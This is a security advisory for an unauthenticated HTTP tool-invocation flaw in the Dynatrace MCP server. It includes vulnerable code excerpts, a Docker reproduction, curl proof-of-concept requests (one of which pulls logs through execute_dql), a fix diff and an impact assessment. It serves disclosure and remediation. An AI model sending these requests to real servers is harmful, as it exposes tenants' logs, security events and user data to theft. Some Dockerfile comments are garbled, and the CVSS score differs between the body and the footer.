GHSA-p7w7-4929-vpj5

GHSA-p7w7-4929-vpj5 · `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation

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### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://<server>:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" } } }' ``` **Recommended remediation:** ```diff --- a/src/index.ts +++ b/src/index.ts +import { timingSafeEqual } from 'node:crypto'; + .option('--http-auth-token <token>', 'bearer token required for HTTP server mode') + const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN; + + const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => { + const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined; + const actualHeader = req.headers.authorization; + if (!expected || !actualHeader) return false; + const actual = Buffer.from(actualHeader); + return actual.length === expected.length && timingSafeEqual(actual, expected); + }; if (httpMode) { + if (!httpAuthToken) { + console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.'); + process.exit(1); + } const httpServer = createServer(async (req, res) => { + if (!isAuthorizedHttpRequest(req)) { + res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' }); + res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } })); + return; + } const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, + enableDnsRebindingProtection: true, + allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`], }); ``` ### Impact This is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials. **Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306) # build stage - text sourcefrom dynatrace-mcp-server build FROM node:22.21.1-alpine3.22 AS build WORKDIR /app # repo copy the full repo source (hosttext clone repo pathfrom textand build) COPY . . RUN npm ci RUN npm run build # runtime textonly install (dist/package.json criteria) RUN cd dist && npm install --ignore-scripts && npm cache clean --force # runtime stage FROM node:22.21.1-alpine3.22

CVSS 7.5 · Élevée · Correctif disponible

Publication

2026-07-31T16:05:57Z

Mise à jour

2026-07-31T16:15:20.419494638Z

Pile logicielle: node

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